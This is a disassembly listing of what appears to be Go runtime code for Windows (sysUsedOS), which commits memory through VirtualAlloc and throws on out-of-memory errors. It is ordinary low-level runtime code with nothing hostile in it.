cmp rbx, 0x1000
jae 0x414519
nop
jmp 0x4145d8
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x41456d
xor esi, esi
jmp 0x4145ca
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x41454b
jmp 0x414536
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x414660
nop dword [rax + rax]
call sym.runtime.printlock
lea rax, [0x006f3248]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call sym.runtime.printuint
lea rax, [0x006f322f]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
nop
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x006ede7b]
mov ebx, 0xd
call sym.runtime.throw
nop dword [rax + rax]
cmp eax, 0x5af
je 0x414600
call sym.runtime.printlock
lea rax, [0x006f3248]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x006f322f]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
nop dword [rax]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x006f639d]
mov ebx, 0x1f
nop dword [rax + rax]
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp sym.runtime.sysUsedOS